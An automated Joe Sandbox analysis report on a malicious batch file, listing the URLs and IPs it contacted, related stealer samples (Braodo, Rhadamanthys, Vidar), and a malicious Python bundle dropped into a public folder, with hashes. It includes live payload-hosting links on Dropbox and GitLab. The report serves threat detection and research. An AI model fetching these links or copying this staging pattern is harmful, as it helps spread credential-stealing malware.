http://www.pythonlabs.com/logos.html	powershell.exe, 00000013.00000002.2603805919.000001C18F120000.00000004.00000800.00020000.00000000.sdmp, LICENSE.txt.19.dr	false	Avira URL Cloud: safe	unknown
https://docs.sandbox.google.com/document/fsip/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.sandbox.google.com/spreadsheets/fsip/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.python.org/psf/license/	python312.dll.19.dr	false		high
https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/garmin_campaign_information_for_partners_v12.do	powershell.exe, 0000000C.00000002.1431093242.000001C5C3610000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/document/fsip/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://help.dropbox.com/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/fsip/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://canny.io/sdk.js	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gitlab.com/-/sandbox/	powershell.exe, 0000000E.00000002.2514409719.0000027DCC408000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gitlab.com/admin/	powershell.exe, 0000000E.00000002.2514409719.0000027DCC408000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCC3E5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://customers.gitlab.com	powershell.exe, 0000000E.00000002.2514409719.0000027DCC408000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCC3E5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.cwi.nl)	powershell.exe, 00000013.00000002.2603805919.000001C18F120000.00000004.00000800.00020000.00000000.sdmp, LICENSE.txt.19.dr	false	Avira URL Cloud: safe	unknown
http://hdl.handle.net/1895.22/1013	powershell.exe, 00000013.00000002.2603805919.000001C18F120000.00000004.00000800.00020000.00000000.sdmp, LICENSE.txt.19.dr	false		high
https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gitlab.com/-/speedscope/index.html	powershell.exe, 0000000E.00000002.2514409719.0000027DCC408000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCC3E5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://selfguidedlearning.dropboxbusiness.com/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	powershell.exe, 0000000E.00000002.2514409719.0000027DCC3E5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sourcegraph.com	powershell.exe, 0000000E.00000002.2514409719.0000027DCC408000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCC3E5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 0000000C.00000002.1411821979.000001C5AB2B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCADC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2603805919.000001C18E1A5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2603805919.000001C18E1BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.sandbox.google.com/presentation/fsip/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://opensource.org	powershell.exe, 00000013.00000002.2603805919.000001C18F120000.00000004.00000800.00020000.00000000.sdmp, LICENSE.txt.19.dr	false		high
https://www.python.org/psf/license/)	python312.dll.19.dr	false		high
https://dl-web.dropbox.com/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://app.hellofax.com/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cfl.dropboxstatic.com/static/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.python.org:	powershell.exe, 00000013.00000002.2603805919.000001C18F678000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.paypal.com/sdk/js	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://peps.python.org/pep-0263/	python312.dll.19.dr	false		high
https://docs.google.com/spreadsheets/fsip/	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist	powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.65.251.78	gitlab.com	United States		13335	CLOUDFLARENETUS	false
162.125.69.18	www-env.dropbox-dns.com	United States		19679	DROPBOXUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578273
Start date and time:	2024-12-19 14:13:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	hnghksdjfhs19De.bat
Detection:	MAL
Classification:	mal92.troj.evad.winBAT@28/23@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 34 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .bat

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 4.245.163.56
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, azureedge-t-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 6836 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7708 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7968 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: hnghksdjfhs19De.bat

Simulations

Behavior and APIs

Time	Type	Description
08:14:04	API Interceptor	90x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.65.251.78	build_setup.exe	Get hash	malicious	Vidar	Browse	gitlab.com/greg201/ppi3/-/raw/main/Setup.exe?inline=false
162.125.69.18	kjhsdgGarmin17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	hngadsfkgj17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	hsfgdf17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	gar17lksgf.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	QhR8Zp6fZs.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	CNUXJvLcgw.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	xWpAZpLw47.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	RFQ Letter and Instructions.pdf	Get hash	malicious	Unknown	Browse
	kjshdgacg18.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	sldkjgsdGarDe3.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
gitlab.com	kjhsdgGarmin17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	hngadsfkgj17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	hsfgdf17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	gar17lksgf.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	hnsjdghf18.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	kjshdgacg18.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	sldkjgsdGarDe3.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	jhsdfggga13.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	Garsdgwqa13de.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	hngarm13de02.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
www-env.dropbox-dns.com	kjhsdgGarmin17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	hngadsfkgj17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	hsfgdf17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	gar17lksgf.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	QhR8Zp6fZs.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.18
	CNUXJvLcgw.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.18
	xWpAZpLw47.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.18
	RFQ Letter and Instructions.pdf	Get hash	malicious	Unknown	Browse	162.125.65.18
	hnsjdghf18.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.65.18
	kjshdgacg18.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
edge-block-www-env.dropbox-dns.com	kjhsdgGarmin17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	hngadsfkgj17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	gar17lksgf.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	QhR8Zp6fZs.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	CNUXJvLcgw.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	xWpAZpLw47.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	hnsjdghf18.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	kjshdgacg18.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	sldkjgsdGarDe3.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	jhsdfggga13.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	kjhsdgGarmin17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	hngadsfkgj17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	hsfgdf17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	gar17lksgf.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	RECOUVREMENT -FACTURER1184521.pdf	Get hash	malicious	Unknown	Browse	172.64.41.3
	QhR8Zp6fZs.lnk	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	CNUXJvLcgw.lnk	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	xWpAZpLw47.lnk	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	1.8.182.26
	StGx54oFh6.exe	Get hash	malicious	Quasar	Browse	104.21.78.102
DROPBOXUS	kjhsdgGarmin17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	hngadsfkgj17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	hsfgdf17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	gar17lksgf.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	QhR8Zp6fZs.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	CNUXJvLcgw.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.4.18
	xWpAZpLw47.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	RFQ Letter and Instructions.pdf	Get hash	malicious	Unknown	Browse	162.125.21.1
	hnsjdghf18.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.65.18
	kjshdgacg18.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	kjhsdgGarmin17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18 172.65.251.78
	hngadsfkgj17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18 172.65.251.78
	hsfgdf17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18 172.65.251.78
	gar17lksgf.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18 172.65.251.78
	QhR8Zp6fZs.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.18 172.65.251.78
	CNUXJvLcgw.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.18 172.65.251.78
	xWpAZpLw47.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.18 172.65.251.78
	g1.ps1	Get hash	malicious	Unknown	Browse	162.125.69.18 172.65.251.78
	Scam_Transaction_of_7350_BDT.pdf.lnk.d.lnk	Get hash	malicious	Unknown	Browse	162.125.69.18 172.65.251.78
	LbtytfWpvx.vbs	Get hash	malicious	Remcos	Browse	162.125.69.18 172.65.251.78

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\Document\python.exe	kjhsdg.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	kjsdhf243kj2.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	hkjsdhf01.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
C:\Users\Public\Document\python3.dll	rvigVjH6wf.exe	Get hash	malicious	Unknown	Browse
	ihNipdQaIz.exe	Get hash	malicious	Unknown	Browse
	Ao8sixO8Om.exe	Get hash	malicious	Unknown	Browse
	0jNz7djbpp.exe	Get hash	malicious	Python Stealer	Browse
	7EznMik8Fw.exe	Get hash	malicious	Python Stealer	Browse
	hSyJxPUUDx.exe	Get hash	malicious	Unknown	Browse
	L5OMdZqWzq.exe	Get hash	malicious	Python Stealer	Browse
	ssPp3zvWwN.exe	Get hash	malicious	Python Stealer	Browse
	I6H1RkEHlX.exe	Get hash	malicious	Python Stealer	Browse
	hKgrI6tqYx.exe	Get hash	malicious	Python Stealer, Babadeda	Browse

Created / dropped Files

C:\Users\Public\Document.zip

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	68976485
Entropy (8bit):	7.994115716737604
Encrypted:	true
SSDEEP:	1572864:T2hcba0WKQw0Fpc9vBCUNyWpNBTvL3NauYsHR:6ua03R/1U8BTvL3NtYAR
MD5:	1DB26227486CBD2E1289ED14B69455B0
SHA1:	E2076AF16DB68846D3302B61D54A403977D5C0E5
SHA-256:	A388A5C82FA1B9490733EE6007A53EEEF29BE07FC999424DA49CB1909F4F24D4
SHA-512:	0E78B0DF2E15140283926CE8032230C09DD1395C72E96C8ACA271545E68335B4C32B5094D859035392F9170EFB3D17C80DDF9240DE15C3DAFE85AB2313E10B92
Malicious:	true
Preview:	PK........\.FX....G'..........LICENSE.txt.\]s..}G...J/....L2.Im...m.-y))..KI...Eh.........Yv..W.U.D..F..}N.t/.W.x2.?....\.\|<..\|.......<v.+V..D.y..B,..x..\$y.....O5...e)...'.....'...r.dv....B....EV.p.Q.S.s-._..F....v...[.d..g(.=O.l.=.j$\...Z.\-.+.tW&w..4..z...[}r.Sf..a....\fs.IR..p-.y...........Bh.N...+.S..B....+TF.h.(...mWx..JP`%5........8...7OP._..cC....B.A.6Q&..W.A...0>d.,.A.t...>.J}.10VLW\|.Q.w2.....R..R.h.L.{.Co.iLj.zyL.e.Mr..v........X.ot.+...a..a2y!.5_.{.P.;....9..P8.5.6....d...L..8..j&r.......M\|......,`H}.N.......31'..R...Mw0.nS2.[...Uf.3EG...2....P.@.w.7z...V..R,..x...M...NpK...H......1.K...!.........e..g..%..6.!...x8..5+b..W..w\|-..3..hJ{ij.p.9...c..\|..Q...L.u..q.b.n0.K...c0.....\|..].......%.....U...{.?i.s.R/o.O.c60.Y>..E....Tma..I....r._T....@9.bs...@...._......6...vnZ.h...U.....{..9....0.......CG....\|.0X]......k...7%`;l...C.8..].3'.^....^.L..g..^.ZV.mc.Wm...x..=................(.t_...t....'.Y..y..A.6~.......(8'3...{.dj{

C:\Users\Public\Document\LICENSE.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	36874
Entropy (8bit):	5.049420652052892
Encrypted:	false
SSDEEP:	768:ofTr69CItDmXPkVDXz/kSsixKioLU68RfKoMlPLZ1FDYzGBAcTQgug3qfF:oX69CItQPkVDzDsioLU6EfKoILZ1FYwE
MD5:	B52C821C7750804295E23B9E94525085
SHA1:	EE762AE623C98F53C89A0D8F4143C6C61AB807D8
SHA-256:	E502C6B880FF58D614901495A9009C136539CD0B1E2A2ABB8FC00B934C203419
SHA-512:	B5D680CE02ED9677ED905FA3257925BAE1E80ECE565D161B50A94A479B409D10B7F1B8340675B257900C856D8C3E37ABACBF818287B56C5A72B97B1E5BBEAED5
Malicious:	false
Preview:	A. HISTORY OF THE SOFTWARE..==========================....Python was created in the early 1990s by Guido van Rossum at Stichting..Mathematisch Centrum (CWI, see https://www.cwi.nl) in the Netherlands..as a successor of a language called ABC. Guido remains Python's..principal author, although it includes many contributions from others.....In 1995, Guido continued his work on Python at the Corporation for..National Research Initiatives (CNRI, see https://www.cnri.reston.va.us)..in Reston, Virginia where he released several versions of the..software.....In May 2000, Guido and the Python core development team moved to..BeOpen.com to form the BeOpen PythonLabs team. In October of the same..year, the PythonLabs team moved to Digital Creations, which became..Zope Corporation. In 2001, the Python Software Foundation (PSF, see..https://www.python.org/psf/) was formed, a non-profit organization..created specifically to own Python-related Intellectual Property...Zope Corporation was a sponsori

C:\Users\Public\Document\NEWS.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	1711215
Entropy (8bit):	5.068876558825427
Encrypted:	false
SSDEEP:	24576:5F4Hmo/lVM0uFBvq1o/1lwsWRQACqw/guOogEtYQfB:5F4Go/lVM0uFBvq1w1lwNRNY/IEhB
MD5:	FE858E977ED5F2512F31C35CC3C7926C
SHA1:	DD96C98A247A5279AE522BEE71E0C9B3DE169E66
SHA-256:	231EDB546AC465EAE75990EB3272903A4F083AF3DC3BF18301375CB19CA12C20
SHA-512:	35DD65E26EA743A97B1E07F91774B82341B9A22CF342858C45E78C096A624ACF8DC08A5F683426E921A4FEB81A31E9CD56761BEB5D523DB5691611D886979401
Malicious:	false
Preview:	+++++++++++..Python News..+++++++++++....What's New in Python 3.12.2 final?..==================================....Release date: 2024-02-06....Security..--------....- gh-issue-113659: Skip ``.pth`` files with names starting with a dot or.. hidden file attribute.....Core and Builtins..-----------------....- gh-issue-114887: Changed socket type validation in.. :meth:`~asyncio.loop.create_datagram_endpoint` to accept all non-stream.. sockets. This fixes a regression in compatibility with raw sockets.....- gh-issue-114388: Fix a :exc:`RuntimeWarning` emitted when assign an.. integer-like value that is not an instance of :class:`int` to an attribute.. that corresponds to a C struct member of :ref:`type <PyMemberDef-types>`.. T_UINT and T_ULONG. Fix a double :exc:`RuntimeWarning` emitted when assign.. a negative integer value to an attribute that corresponds to a C struct.. member of type T_UINT.....- gh-issue-113703: Fix a regression in the :mod:`codeop` module that was.. causing

C:\Users\Public\Document\python.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	modified
Size (bytes):	103192
Entropy (8bit):	6.359563293868007
Encrypted:	false
SSDEEP:	1536:aWlVYKbuEYE+9z2wp+FavGmhMn+IhzZtzs/FZRX7Syn/x2S:aWlVYKbuAs0FNmhMn+IhN2/FZRX5
MD5:	276532239A250BF2EC04FA51128031CF
SHA1:	A76325B621C8FC0059E59FAF5E5B8D3FB08FF226
SHA-256:	624BBC0586D8855633B875E911883BBEF8A0E8B8711E11126DF480DD86F54181
SHA-512:	13A3E4E46AC3994C625412AD28AAA371145501B66BAC1D35D6FF14F0A20BF6B72BEB09FFDF6AC29AFE5EE0810D113D95CBFFF4724E37E5FC90630CF49CA1882D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: kjhsdg.bat, Detection: malicious, Browse Filename: kjsdhf243kj2.bat, Detection: malicious, Browse Filename: hkjsdhf01.bat, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Q..............A.......................................................................-.............Rich............PE..d.....e.........."....%.....X.................@....................................pA....`..................................................(.......P...;...@..\....d.../......0....#..T...........................P"..@............ ...............................text...<........................... ..`.rdata..V.... ......................@..@.data...8....0......."..............@....pdata..\....@.......$..............@..@.rsrc....;...P...<...&..............@..@.reloc..0............b..............@..B........................................................................................................................................................................................................................................................

C:\Users\Public\Document\python3.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	68376
Entropy (8bit):	6.14896460878624
Encrypted:	false
SSDEEP:	768:LV1EbYGVXq6KC/prVHBN0cW18itCQDFPnOMFn+gikF/nFX14uewjBcCCC0yamM/u:LDmF61JFn+/OHZIAL0R7SyHxy
MD5:	6271A2FE61978CA93E60588B6B63DEB2
SHA1:	BE26455750789083865FE91E2B7A1BA1B457EFB8
SHA-256:	A59487EA2C8723277F4579067248836B216A801C2152EFB19AFEE4AC9785D6FB
SHA-512:	8C32BCB500A94FF47F5EF476AE65D3B677938EBEE26E80350F28604AAEE20B044A5D55442E94A11CCD9962F34D22610B932AC9D328197CF4D2FFBC7DF640EFBA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: rvigVjH6wf.exe, Detection: malicious, Browse Filename: ihNipdQaIz.exe, Detection: malicious, Browse Filename: Ao8sixO8Om.exe, Detection: malicious, Browse Filename: 0jNz7djbpp.exe, Detection: malicious, Browse Filename: 7EznMik8Fw.exe, Detection: malicious, Browse Filename: hSyJxPUUDx.exe, Detection: malicious, Browse Filename: L5OMdZqWzq.exe, Detection: malicious, Browse Filename: ssPp3zvWwN.exe, Detection: malicious, Browse Filename: I6H1RkEHlX.exe, Detection: malicious, Browse Filename: hKgrI6tqYx.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........T...5e..5e..5e..m..5e..e..5e.....5e..g..5e.Rich.5e.........PE..d......e.........." ...%............................................................x.....`.........................................`...H................................/..............T............................................................................rdata..............................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Document\python312.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7009048
Entropy (8bit):	5.7826778751744685
Encrypted:	false
SSDEEP:	49152:mz0oCxOqKWneF3o1VLCClOTNRpaOviXEYWyb3eOYTvuFsx/iac84YNFXiTlv5WF4:mooCcqKLHX+az2Ro8Kv7HDMiEB/
MD5:	550288A078DFFC3430C08DA888E70810
SHA1:	01B1D31F37FB3FD81D893CC5E4A258E976F5884F
SHA-256:	789A42AC160CEF98F8925CB347473EEEB4E70F5513242E7FABA5139BA06EDF2D
SHA-512:	7244432FC3716F7EF27630D4E8FBC8180A2542AA97A01D44DCA260AB43966DD8AC98B6023400B0478A4809AACE1A128F1F4D6E544F2E591A5B436FD4C8A9D723
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........T..e...e...e...d...e.......e...`...e...a...e...f...e.......e..d...e...d...e..Bh.M.e..Be...e..B....e..Bg...e.Rich..e.........................PE..d......e.........." ...%.$)..ZB......]........................................k.....:.k...`...........................................O.d...toP......Pj.......`.dZ....j../...`j.pZ....3.T.....................I.(...P.3.@............@)..............................text....")......$)................. ..`.rdata...T'..@)..V'..().............@..@.data....?....P......~P.............@....pdata..dZ....`..\....`.............@..@PyRuntim.....@c......\b.............@....rsrc........Pj......^i.............@..@.reloc..pZ...`j..\...hi.............@..B........................................................................................................................................................................................

C:\Users\Public\Document\pythonw.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	101656
Entropy (8bit):	6.3782629526382495
Encrypted:	false
SSDEEP:	1536:zKSuhIxHHWMpdPa5wiE21M8kJIGFvb1Cwz/Z5sx7Syox3p:zKpSwMpdCq/IM8uIGfx/Z5sxm
MD5:	AD85B7A1F9B42B7CB9229CA895CC6ED2
